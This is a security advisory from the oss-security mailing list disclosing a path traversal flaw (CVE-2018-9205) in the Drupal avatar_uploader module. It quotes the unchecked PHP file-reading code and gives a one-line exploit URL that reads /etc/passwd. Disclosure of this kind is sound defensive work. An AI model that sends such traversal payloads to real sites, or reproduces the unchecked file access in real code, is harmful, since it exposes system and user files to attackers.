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List:       oss-security
Subject:    [oss-security] Arbitrary file download vulnerability in Drupal module avatar_uploader v7.x-1.0-beta8
From:       "Larry W. Cashdollar" <larry0 () me ! com>
Date:       2018-04-12 12:28:15
Message-ID: 3B4F690F-2918-4282-BEBE-E163F07D205F () me ! com
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Title: Arbitrary file download vulnerability in Drupal module avatar_uploader v7.x-1.0-beta8
Author: Larry W. Cashdollar
Date: 2018-03-30
CVE-ID:[CVE-2018-9205]
Download Site: https://www.drupal.org/project/avatar_uploader
Vendor: https://www.drupal.org/u/robbinzhao
Vendor Notified: 2018-04-02
Vendor Contact: https://www.drupal.org/project/avatar_uploader/issues/2957966#comment-12554146
Advisory: http://www.vapidlabs.com/advisory.php?v=202
Description: This module used Simple Ajax Uploader, and provide a basic uploader panel, for \
more effect, you can do your custom javascript. Such as, users' mouse hover on avatar, the edit \
link will slideup, or others. Vulnerability:
The view.php contains code to retrieve files but no code to verify a user should be able to \
view files or keep them from changing the path to outside of the uploadDir directory:

<?php

$file = $_GET['file'];

echo file_get_contents("uploadDir/$file");
exit;

Exploit Code:
	• http://example.com/sites/all/modules/avatar_uploader/lib/demo/view.php?file=../../../../../../../../../../../etc/passwd=



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